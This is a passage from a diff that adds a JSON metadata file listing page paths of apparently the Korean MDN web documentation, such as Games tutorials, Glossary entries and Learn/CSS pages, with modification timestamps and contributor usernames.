+  "Building_an_Extension": {
+    "modified": "2019-03-24T00:04:35.955Z",
+    "contributors": [
+      "teoli",
+      "ethertank",
+      "Gilchris",
+      "fscholz",
+      "Matthew,Lee",
+      "Amujung",
+      "Idodream",
+      "Jeongsw",
+      "Netaras"
+    ]
+  },
+  "CSS3_Columns": {
+    "modified": "2019-10-11T18:26:42.559Z",
+    "contributors": [
+      "escattone",
+      "Netaras",
+      "Sebuls",
+      "Ioseph"
+    ]
+  },
+  "Consistent_List_Indentation": {
+    "modified": "2019-03-18T21:13:02.657Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "Ioseph"
+    ]
+  },
+  "DHTML": {
+    "modified": "2019-03-23T23:41:48.331Z",
+    "contributors": [
+      "Sebuls"
+    ]
+  },
+  "DOM_improvements_in_Firefox_3": {
+    "modified": "2019-03-23T23:52:57.206Z",
+    "contributors": [
+      "teoli",
+      "Suguni"
+    ]
+  },
+  "Determining_the_dimensions_of_elements": {
+    "modified": "2019-03-18T20:58:47.001Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "taggon"
+    ]
+  },
+  "Drawing_text_using_a_canvas": {
+    "modified": "2019-03-23T23:51:09.281Z",
+    "contributors": [
+      "kbsbroad",
+      "peacekimjapan",
+      "tnRaro",
+      "teoli",
+      "Wladimir_Palant",
+      "Suguni"
+    ]
+  },
+  "Firefox_1.5_for_developers": {
+    "modified": "2019-03-23T23:42:08.585Z",
+    "contributors": [
+      "teoli",
+      "Sebuls",
+      "Netaras"
+    ]
+  },
+  "Firefox_2_for_developers": {
+    "modified": "2019-01-16T16:12:14.974Z",
+    "contributors": [
+      "CN",
+      "Netaras",
+      "Yh",
+      "C0d3h4ck",
+      "Ranio710",
+      "Channy"
+    ]
+  },
+  "Firefox_3.5_for_developers": {
+    "modified": "2019-03-24T00:00:11.117Z",
+    "contributors": [
+      "teoli",
+      "Gilchris"
+    ]
+  },
+  "Full_page_zoom": {
+    "modified": "2019-03-23T23:51:11.591Z",
+    "contributors": [
+      "teoli",
+      "Wladimir_Palant",
+      "Jeongkyu"
+    ]
+  },
+  "Games": {
+    "modified": "2019-09-09T15:33:04.549Z",
+    "contributors": [
+      "SphinxKnight",
+      "yongbin_kim",
+      "meow1230",
+      "wbamberg",
+      "moolow",
+      "daesD",
+      "ehfgk78",
+      "hoony",
+      "kom2727"
+    ]
+  },
+  "Games/Index": {
+    "modified": "2020-12-05T03:39:50.081Z",
+    "contributors": [
+      "movegun1027"
+    ]
+  },
+  "Games/Introduction": {
+    "modified": "2019-06-03T20:16:02.213Z",
+    "contributors": [
+      "sujilee91",
+      "wbamberg",
+      "daesD",
+      "yuyuny",
+      "talkinglove",
+      "kom2727"
+    ]
+  },
+  "Games/Tutorials": {
+    "modified": "2019-03-23T22:32:02.489Z",
+    "contributors": [
+      "wbamberg",
+      "hoony",
+      "chrisdavidmills"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser": {
+    "modified": "2019-03-23T22:32:01.564Z",
+    "contributors": [
+      "wbamberg",
+      "hoony",
+      "chrisdavidmills"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/득점": {
+    "modified": "2019-01-16T22:56:11.870Z",
+    "contributors": [
+      "wbamberg",
+      "Dragonholux"
+    ]
+  },
+  "Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation": {
+    "modified": "2019-11-30T13:08:40.751Z",
+    "contributors": [
+      "junghyeonsu"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임": {
+    "modified": "2019-03-23T22:24:25.862Z",
+    "contributors": [
+      "wbamberg",
+      "daesD",
+      "hoony",
+      "Byeolbit"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls": {
+    "modified": "2019-03-23T22:20:49.480Z",
+    "contributors": [
+      "wbamberg",
+      "sshplendid",
+      "daesD",
+      "hoony"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field": {
+    "modified": "2019-01-17T03:04:25.798Z",
+    "contributors": [
+      "wbamberg",
+      "sshplendid"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Collision_detection": {
+    "modified": "2019-04-17T04:54:08.983Z",
+    "contributors": [
+      "E.Chong_Ju_Noel",
+      "wbamberg",
+      "sshplendid"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Finishing_up": {
+    "modified": "2019-04-17T06:26:16.714Z",
+    "contributors": [
+      "E.Chong_Ju_Noel"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over": {
+    "modified": "2019-01-17T03:02:48.219Z",
+    "contributors": [
+      "wbamberg",
+      "sshplendid"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Mouse_controls": {
+    "modified": "2019-04-17T05:33:54.686Z",
+    "contributors": [
+      "E.Chong_Ju_Noel"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls": {
+    "modified": "2019-01-17T02:41:51.426Z",
+    "contributors": [
+      "wbamberg",
+      "sshplendid",
+      "egg-00"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Track_the_score_and_win": {
+    "modified": "2019-04-17T05:34:33.735Z",
+    "contributors": [
+      "E.Chong_Ju_Noel",
+      "wbamberg",
+      "awer000"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기": {
+    "modified": "2019-03-23T22:23:23.704Z",
+    "contributors": [
+      "wbamberg",
+      "sshplendid",
+      "hoony",
+      "Byeolbit"
+    ]
+  },
+  "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기": {
+    "modified": "2019-01-17T00:09:33.787Z",
+    "contributors": [
+      "wbamberg",
+      "sshplendid",
+      "daesD",
+      "hoony",
+      "HarrisLim",
+      "Byeolbit"
+    ]
+  },
+  "Glossary": {
+    "modified": "2020-10-07T11:12:02.701Z",
+    "contributors": [
+      "peterbe",
+      "alattalatta",
+      "SphinxKnight",
+      "wbamberg",
+      "Netaras",
+      "stephenjang",
+      "Andrew_Pfeiffer"
+    ]
+  },
+  "Glossary/AJAX": {
+    "modified": "2019-03-23T22:40:15.454Z",
+    "contributors": [
+      "daebum-lee",
+      "akic4op4"
+    ]
+  },
+  "Glossary/API": {
+    "modified": "2019-05-28T05:38:06.993Z",
+    "contributors": [
+      "JisooLee"
+    ]
+  },
+  "Glossary/ASCII": {
+    "modified": "2019-09-10T02:26:52.071Z",
+    "contributors": [
+      "mcleroysane19"
+    ]
+  },
+  "Glossary/Abstraction": {
+    "modified": "2019-11-17T11:35:37.475Z",
+    "contributors": [
+      "enfroze",
+      "alattalatta",
+      "gnujoow"
+    ]
+  },
+  "Glossary/Accessibility": {
+    "modified": "2020-01-13T03:17:03.686Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Algorithm": {
+    "modified": "2019-11-17T11:22:40.957Z",
+    "contributors": [
+      "enfroze",
+      "gnujoow"
+    ]
+  },
+  "Glossary/Argument": {
+    "modified": "2019-11-17T06:21:02.547Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Attribute": {
+    "modified": "2020-01-12T03:10:44.163Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze"
+    ]
+  },
+  "Glossary/Bandwidth": {
+    "modified": "2019-03-23T22:04:55.149Z",
+    "contributors": [
+      "gnujoow"
+    ]
+  },
+  "Glossary/Block": {
+    "modified": "2019-09-08T12:38:26.231Z"
+  },
+  "Glossary/Block/CSS": {
+    "modified": "2019-12-29T04:26:04.647Z",
+    "contributors": [
+      "alattalatta",
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Glossary/Browser": {
+    "modified": "2020-08-05T01:07:27.042Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "Kaben"
+    ]
+  },
+  "Glossary/CORS": {
+    "modified": "2019-03-23T22:29:19.335Z",
+    "contributors": [
+      "kuil09"
+    ]
+  },
+  "Glossary/CSP": {
+    "modified": "2019-03-18T21:35:59.462Z",
+    "contributors": [
+      "Seok.Heo",
+      "sunhyun"
+    ]
+  },
+  "Glossary/CSS": {
+    "modified": "2020-08-05T01:06:55.575Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/CSS_preprocessor": {
+    "modified": "2019-04-18T12:04:13.994Z",
+    "contributors": [
+      "alattalatta",
+      "ByeongGi"
+    ]
+  },
+  "Glossary/Call_stack": {
+    "modified": "2019-03-18T20:34:32.739Z",
+    "contributors": [
+      "dl0312",
+      "MartinYounghoonKim",
+      "cs09g",
+      "techhtml"
+    ]
+  },
+  "Glossary/Character": {
+    "modified": "2019-11-17T06:45:02.779Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Chrome": {
+    "modified": "2019-11-20T12:06:40.564Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Client_hints": {
+    "modified": "2020-03-30T11:50:49.956Z",
+    "contributors": [
+      "oinochoe"
+    ]
+  },
+  "Glossary/Compile": {
+    "modified": "2019-10-29T10:03:26.609Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Computer_Programming": {
+    "modified": "2019-10-29T10:07:03.140Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Copyleft": {
+    "modified": "2019-11-17T12:11:12.916Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Cross_Axis": {
+    "modified": "2020-01-02T12:16:06.607Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/DOM": {
+    "modified": "2019-03-18T21:26:45.962Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Glossary/Descriptor_(CSS)": {
+    "modified": "2020-06-18T03:48:31.777Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Glossary/Doctype": {
+    "modified": "2019-10-31T03:37:46.868Z",
+    "contributors": [
+      "lundella"
+    ]
+  },
+  "Glossary/Domain_name": {
+    "modified": "2020-02-27T01:11:41.979Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze"
+    ]
+  },
+  "Glossary/ECMAScript": {
+    "modified": "2020-11-30T15:17:38.947Z",
+    "contributors": [
+      "woochul2"
+    ]
+  },
+  "Glossary/Element": {
+    "modified": "2020-01-19T04:19:54.447Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze"
+    ]
+  },
+  "Glossary/Empty_element": {
+    "modified": "2020-02-02T11:31:39.458Z",
+    "contributors": [
+      "alattalatta",
+      "ShinJeKim"
+    ]
+  },
+  "Glossary/Endianness": {
+    "modified": "2020-02-19T12:52:13.934Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Entity_header": {
+    "modified": "2019-04-30T11:59:59.102Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Glossary/FTP": {
+    "modified": "2019-10-29T12:53:31.410Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Falsy": {
+    "modified": "2020-08-26T22:58:41.496Z",
+    "contributors": [
+      "honggaruy",
+      "Seonghui",
+      "alattalatta",
+      "Violet-Bora-Lee",
+      "Parcovia",
+      "hohoonlee"
+    ]
+  },
+  "Glossary/First-class_Function": {
+    "modified": "2019-06-01T00:04:27.159Z",
+    "contributors": [
+      "alattalatta",
+      "henry_hwang",
+      "skatpgusskat",
+      "cs09g",
+      "seflix"
+    ]
+  },
+  "Glossary/Flex_Container": {
+    "modified": "2020-08-04T05:22:31.373Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Flex_Item": {
+    "modified": "2020-08-04T05:16:54.495Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Flexbox": {
+    "modified": "2020-08-04T05:13:41.384Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Fork": {
+    "modified": "2019-11-19T11:41:29.624Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Function": {
+    "modified": "2020-03-17T03:21:46.959Z",
+    "contributors": [
+      "harryjjun",
+      "enfroze",
+      "ibizcox"
+    ]
+  },
+  "Glossary/GPL": {
+    "modified": "2019-11-17T12:14:08.428Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/GPU": {
+    "modified": "2019-11-17T12:20:00.869Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/General_header": {
+    "modified": "2019-04-30T10:49:44.075Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Glossary/Global_object": {
+    "modified": "2020-09-27T03:52:40.420Z",
+    "contributors": [
+      "khpproud"
+    ]
+  },
+  "Glossary/Google_Chrome": {
+    "modified": "2019-12-26T10:50:50.022Z",
+    "contributors": [
+      "04SeoHyun",
+      "enfroze"
+    ]
+  },
+  "Glossary/Graceful_degradation": {
+    "modified": "2020-02-03T07:06:42.243Z",
+    "contributors": [
+      "ChanMyeong"
+    ]
+  },
+  "Glossary/HTML": {
+    "modified": "2020-01-19T04:48:54.962Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "wafersroom",
+      "azunyan3"
+    ]
+  },
+  "Glossary/HTTP": {
+    "modified": "2019-11-05T01:39:30.127Z",
+    "contributors": [
+      "kimering"
+    ]
+  },
+  "Glossary/HTTP_2": {
+    "modified": "2019-11-04T22:53:46.678Z",
+    "contributors": [
+      "kimering"
+    ]
+  },
+  "Glossary/Head": {
+    "modified": "2019-10-27T05:11:12.994Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Header": {
+    "modified": "2019-04-30T11:26:53.285Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Glossary/Hoisting": {
+    "modified": "2019-07-11T11:32:59.609Z",
+    "contributors": [
+      "jinbeomhong",
+      "liante0904",
+      "techhtml",
+      "Netaras"
+    ]
+  },
+  "Glossary/IIFE": {
+    "modified": "2019-10-06T06:23:46.350Z",
+    "contributors": [
+      "songdoing",
+      "cs09g",
+      "dsma73",
+      "sshplendid"
+    ]
+  },
+  "Glossary/IP_Address": {
+    "modified": "2019-11-19T06:03:10.670Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/IPv4": {
+    "modified": "2019-10-29T12:46:35.140Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/IPv6": {
+    "modified": "2019-10-29T12:38:04.058Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Idempotent": {
+    "modified": "2020-01-27T06:32:59.252Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Index": {
+    "modified": "2019-05-26T04:17:19.834Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Internet": {
+    "modified": "2019-10-29T12:34:29.654Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/JSON": {
+    "modified": "2020-08-27T00:13:07.754Z",
+    "contributors": [
+      "honggaruy"
+    ]
+  },
+  "Glossary/Java": {
+    "modified": "2019-11-17T11:44:56.230Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/JavaScript": {
+    "modified": "2019-03-23T22:55:08.110Z",
+    "contributors": [
+      "Party4Bread",
+      "akic4op4",
+      "stephenjang"
+    ]
+  },
+  "Glossary/MIME_type": {
+    "modified": "2019-05-10T06:12:12.269Z",
+    "contributors": [
+      "VictorTaekLim"
+    ]
+  },
+  "Glossary/MVC": {
+    "modified": "2019-03-18T20:38:21.536Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Glossary/Main_Axis": {
+    "modified": "2020-01-02T12:14:51.078Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Metadata": {
+    "modified": "2020-01-13T13:25:13.943Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Method": {
+    "modified": "2019-11-17T05:42:10.347Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Microsoft_Edge": {
+    "modified": "2020-01-19T04:40:21.559Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze"
+    ]
+  },
+  "Glossary/Microsoft_Internet_Explorer": {
+    "modified": "2019-11-17T10:16:18.451Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Mozilla_Firefox": {
+    "modified": "2020-01-19T04:47:57.973Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze"
+    ]
+  },
+  "Glossary/Node.js": {
+    "modified": "2020-01-12T05:33:10.138Z",
+    "contributors": [
+      "alattalatta",
+      "galcyurio"
+    ]
+  },
+  "Glossary/Null": {
+    "modified": "2020-10-11T08:16:16.978Z",
+    "contributors": [
+      "Joontae-Kim"
+    ]
+  },
+  "Glossary/OOP": {
+    "modified": "2019-10-29T10:28:29.794Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Object": {
+    "modified": "2019-10-29T10:31:41.062Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Object_reference": {
+    "modified": "2019-11-17T06:06:40.867Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Operator": {
+    "modified": "2019-11-17T11:52:43.062Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Origin": {
+    "modified": "2020-02-22T14:10:20.748Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/PDF": {
+    "modified": "2019-11-17T11:58:50.797Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/PHP": {
+    "modified": "2019-05-26T04:18:28.806Z",
+    "contributors": [
+      "alattalatta",
+      "yuj25"
+    ]
+  },
+  "Glossary/PNG": {
+    "modified": "2019-11-17T11:59:51.070Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Pixel": {
+    "modified": "2019-11-17T11:56:15.038Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Polyfill": {
+    "modified": "2019-11-18T11:28:34.172Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Glossary/Preflight_request": {
+    "modified": "2020-08-16T00:25:48.142Z",
+    "contributors": [
+      "Sunmin0520"
+    ]
+  },
+  "Glossary/Primitive": {
+    "modified": "2020-08-05T00:42:43.615Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "nicesh"
+    ]
+  },
+  "Glossary/Progressive_Enhancement": {
+    "modified": "2020-02-03T23:41:49.098Z",
+    "contributors": [
+      "ChanMyeong"
+    ]
+  },
+  "Glossary/Protocol": {
+    "modified": "2020-02-02T10:41:08.301Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze",
+      "JisooLee",
+      "kimering"
+    ]
+  },
+  "Glossary/Prototype": {
+    "modified": "2019-10-18T07:42:15.221Z",
+    "contributors": [
+      "ujeon"
+    ]
+  },
+  "Glossary/Prototype-based_programming": {
+    "modified": "2019-05-26T04:19:13.494Z",
+    "contributors": [
+      "alattalatta",
+      "HyunBeomHeo"
+    ]
+  },
+  "Glossary/Proxy_server": {
+    "modified": "2019-10-29T05:16:15.357Z",
+    "contributors": [
+      "JisooLee"
+    ]
+  },
+  "Glossary/Pseudocode": {
+    "modified": "2019-11-20T11:53:40.913Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Python": {
+    "modified": "2019-11-17T12:05:40.012Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/REST": {
+    "modified": "2020-09-04T04:06:27.455Z",
+    "contributors": [
+      "Sunmin0520"
+    ]
+  },
+  "Glossary/Reflow": {
+    "modified": "2019-10-25T06:40:35.697Z",
+    "contributors": [
+      "ChanMyeong"
+    ]
+  },
+  "Glossary/Regular_expression": {
+    "modified": "2019-03-23T22:03:19.722Z",
+    "contributors": [
+      "nazuna1"
+    ]
+  },
+  "Glossary/Request_header": {
+    "modified": "2019-05-02T11:11:08.932Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Glossary/Response_header": {
+    "modified": "2019-04-30T11:52:42.805Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Glossary/SEO": {
+    "modified": "2020-01-13T03:31:45.674Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/SIMD": {
+    "modified": "2019-03-23T22:32:07.923Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Glossary/SMTP": {
+    "modified": "2020-01-21T11:08:35.432Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/SQL": {
+    "modified": "2019-03-18T21:42:28.660Z",
+    "contributors": [
+      "revi"
+    ]
+  },
+  "Glossary/SSL": {
+    "modified": "2020-09-01T01:40:23.958Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Glossary/SVG": {
+    "modified": "2019-03-23T22:18:33.455Z",
+    "contributors": [
+      "sujilee91"
+    ]
+  },
+  "Glossary/Self-Executing_Anonymous_Function": {
+    "modified": "2019-12-03T20:36:04.784Z",
+    "contributors": [
+      "Saem"
+    ]
+  },
+  "Glossary/Semantics": {
+    "modified": "2020-03-12T01:28:09.192Z",
+    "contributors": [
+      "ohahohah",
+      "darongE",
+      "Latera"
+    ]
+  },
+  "Glossary/Server": {
+    "modified": "2019-10-29T10:54:27.928Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Shim": {
+    "modified": "2019-03-23T22:51:59.120Z",
+    "contributors": [
+      "epicsaga"
+    ]
+  },
+  "Glossary/Signature": {
+    "modified": "2019-03-23T22:05:46.662Z",
+    "contributors": [
+      "PetiPandaRou"
+    ]
+  },
+  "Glossary/Signature/Function": {
+    "modified": "2019-03-23T22:05:47.333Z",
+    "contributors": [
+      "SELO77",
+      "seungha-kim"
+    ]
+  },
+  "Glossary/Stacking_context": {
+    "modified": "2019-12-29T03:38:31.325Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/String": {
+    "modified": "2019-11-17T09:40:20.892Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Symbol": {
+    "modified": "2019-09-22T21:56:04.399Z",
+    "contributors": [
+      "Hongsun",
+      "dolmoon",
+      "limkukhyun"
+    ]
+  },
+  "Glossary/TCP": {
+    "modified": "2020-07-18T05:44:12.957Z",
+    "contributors": [
+      "jins9199"
+    ]
+  },
+  "Glossary/TLS": {
+    "modified": "2020-09-01T00:02:24.553Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Glossary/Tag": {
+    "modified": "2020-01-19T04:32:44.181Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze"
+    ]
+  },
+  "Glossary/Truthy": {
+    "modified": "2020-08-26T22:21:21.196Z",
+    "contributors": [
+      "honggaruy",
+      "Seonghui",
+      "alattalatta",
+      "Violet-Bora-Lee"
+    ]
+  },
+  "Glossary/UI": {
+    "modified": "2019-10-29T10:58:07.951Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/URI": {
+    "modified": "2020-01-22T13:18:49.380Z",
+    "contributors": [
+      "alattalatta",
+      "BenjaminYou"
+    ]
+  },
+  "Glossary/URL": {
+    "modified": "2020-01-21T11:09:22.036Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze"
+    ]
+  },
+  "Glossary/UTF-8": {
+    "modified": "2019-11-17T08:52:36.131Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Unicode": {
+    "modified": "2019-05-24T13:16:24.428Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/User_agent": {
+    "modified": "2020-08-05T01:07:33.918Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/Variable": {
+    "modified": "2019-11-17T06:14:20.302Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/Viewport": {
+    "modified": "2020-08-10T06:18:22.173Z",
+    "contributors": [
+      "alattalatta",
+      "SeonHyungJo"
+    ]
+  },
+  "Glossary/WHATWG": {
+    "modified": "2020-01-12T06:40:17.162Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/WebExtensions": {
+    "modified": "2019-03-18T21:44:17.282Z",
+    "contributors": [
+      "junthus"
+    ]
+  },
+  "Glossary/WebRTC": {
+    "modified": "2019-03-18T21:39:53.407Z",
+    "contributors": [
+      "1sonjm"
+    ]
+  },
+  "Glossary/WebSockets": {
+    "modified": "2019-10-29T10:39:24.748Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/World_Wide_Web": {
+    "modified": "2019-03-23T22:18:23.912Z",
+    "contributors": [
+      "wafersroom"
+    ]
+  },
+  "Glossary/Wrapper": {
+    "modified": "2019-11-17T09:43:44.308Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/XHR_(XMLHttpRequest)": {
+    "modified": "2019-05-26T04:21:15.494Z",
+    "contributors": [
+      "alattalatta",
+      "frankradio",
+      "OKCHANGWON",
+      "kidkkr"
+    ]
+  },
+  "Glossary/character_encoding": {
+    "modified": "2019-11-17T09:29:40.486Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/character_set": {
+    "modified": "2019-11-17T11:13:13.450Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/firewall": {
+    "modified": "2020-01-21T11:10:59.046Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze"
+    ]
+  },
+  "Glossary/gif": {
+    "modified": "2019-11-19T01:18:42.872Z",
+    "contributors": [
+      "enfroze"
+    ]
+  },
+  "Glossary/https": {
+    "modified": "2019-03-18T20:53:11.377Z",
+    "contributors": [
+      "jisooeulee"
+    ]
+  },
+  "Glossary/jQuery": {
+    "modified": "2019-10-06T09:53:54.369Z",
+    "contributors": [
+      "Eumhongin",
+      "jisooeulee"
+    ]
+  },
+  "Glossary/undefined": {
+    "modified": "2019-05-26T04:16:46.198Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Glossary/동적_프로그래밍_언어": {
+    "modified": "2019-03-18T21:23:35.310Z",
+    "contributors": [
+      "flat81"
+    ]
+  },
+  "Glossary/배열": {
+    "modified": "2019-03-18T21:24:02.576Z",
+    "contributors": [
+      "Parcovia"
+    ]
+  },
+  "Glossary/불린": {
+    "modified": "2019-03-23T22:13:53.303Z",
+    "contributors": [
+      "Violet-Bora-Lee",
+      "BA-jhlee"
+    ]
+  },
+  "Glossary/브라우저-컨텍스트": {
+    "modified": "2020-01-05T11:52:27.990Z",
+    "contributors": [
+      "alattalatta",
+      "HyunSeob"
+    ]
+  },
+  "Glossary/스코프": {
+    "modified": "2020-08-28T03:24:50.648Z",
+    "contributors": [
+      "heejinlee07"
+    ]
+  },
+  "Glossary/식별자": {
+    "modified": "2019-05-24T13:17:06.184Z",
+    "contributors": [
+      "alattalatta",
+      "HyunSeob"
+    ]
+  },
+  "Glossary/전송_제어_프로토콜_(TCP)": {
+    "modified": "2020-01-12T14:32:05.700Z",
+    "contributors": [
+      "doong-jo"
+    ]
+  },
+  "Glossary/캐시": {
+    "modified": "2019-10-28T01:10:08.788Z",
+    "contributors": [
+      "JisooLee"
+    ]
+  },
+  "How_to_Build_an_XPCOM_Component_in_Javascript": {
+    "modified": "2019-03-23T23:49:04.482Z",
+    "contributors": [
+      "Channy",
+      "Yookh80"
+    ]
+  },
+  "Introduction_to_using_XPath_in_JavaScript": {
+    "modified": "2020-08-06T04:38:40.599Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "Sebuls"
+    ]
+  },
+  "JavaScript_C_Engine_Embedder's_Guide": {
+    "modified": "2019-03-23T23:51:52.110Z",
+    "contributors": [
+      "teoli",
+      "Comayjlee",
+      "Joone"
+    ]
+  },
+  "Learn": {
+    "modified": "2020-07-16T22:43:44.593Z",
+    "contributors": [
+      "SphinxKnight",
+      "hl5nyw",
+      "yeoncheol-kr",
+      "honggaruy",
+      "alattalatta",
+      "Silvermist",
+      "2kindsofcs",
+      "ehgus",
+      "svarlamov",
+      "daktwigim",
+      "MiscellaneousDictionary",
+      "dolmoon",
+      "moodcoding",
+      "Olivia_J",
+      "minwook-shin",
+      "daesD",
+      "kidkkr",
+      "haneri",
+      "kygn1998",
+      "Netaras",
+      "hoony",
+      "sunkibaek",
+      "cs09g",
+      "Donghyun_Lee",
+      "kscarfone"
+    ]
+  },
+  "Learn/CSS": {
+    "modified": "2020-07-16T22:25:35.300Z",
+    "contributors": [
+      "alattalatta",
+      "Narrativi",
+      "cs09g"
+    ]
+  },
+  "Learn/CSS/Basics/Layout": {
+    "modified": "2020-07-16T22:25:40.836Z",
+    "contributors": [
+      "yooonmi"
+    ]
+  },
+  "Learn/CSS/Building_blocks": {
+    "modified": "2020-07-16T22:28:08.863Z",
+    "contributors": [
+      "java2020007",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Backgrounds_and_borders": {
+    "modified": "2020-07-16T22:29:10.420Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Cascade_and_inheritance": {
+    "modified": "2020-07-16T22:28:31.699Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Debugging_CSS": {
